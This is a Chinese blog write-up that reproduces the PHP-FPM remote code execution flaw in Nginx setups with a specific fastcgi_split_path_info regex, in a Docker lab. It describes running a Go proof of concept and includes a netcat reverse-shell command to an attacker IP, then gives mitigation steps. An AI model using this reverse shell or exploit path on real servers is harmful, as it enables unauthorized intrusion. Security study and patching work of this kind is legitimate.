PHP-FPM远程代码执行漏洞
0x00 前言
漏洞源自前段时间的Real World CTF比赛,当Nginx使用特定的配置时,存在远程代码执行。
Nginx配置文件中fastcgi_split_path_info字段配置为^(.+?\.php)(/.*)$;时,攻击者通过构造的payload,造成远程代码执行漏洞,虽然不是默认配置,但此配置已被广泛运用,危害还是挺大的。。
影响版本:Nginx+php-fpm,服务器有如下配置,则存在此漏洞
location ~ [^/]\.php(/|$) { |
0x01 环境搭建
下载漏洞环境: |
poc需要go环境编译,服务器安装go环境
下载go安装包 |
0x02 漏洞复现
漏洞页面
环境搭建好后,使用go环境编译poc并运行
编译poc |
出现Done说明远程代码执行成功。
攻击成功后,会在靶机的tmp目录下生成一个a文件
进入docker容器查看
切换docker容器 |
攻击成功!
可以执行命令
当前权限为网站权限,尝试反弹shell
nc -e /bin/bash IP 4444 |
反弹成功
0x03 修复建议
1.修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
2.暂停使用 nginx+php-fpm 服务
根据实际生产环境的业务需求,将以下配置删除
fastcgi_split_path_info ^(.+?.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
0x04 总结
总体来说,没有遇见什么坑,因为有大佬们的缘故(贡献poc),漏洞利用难度不是很大,如果后面有exp出来。。感觉又是一波腥风血雨。。。。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Time'Blog!
评论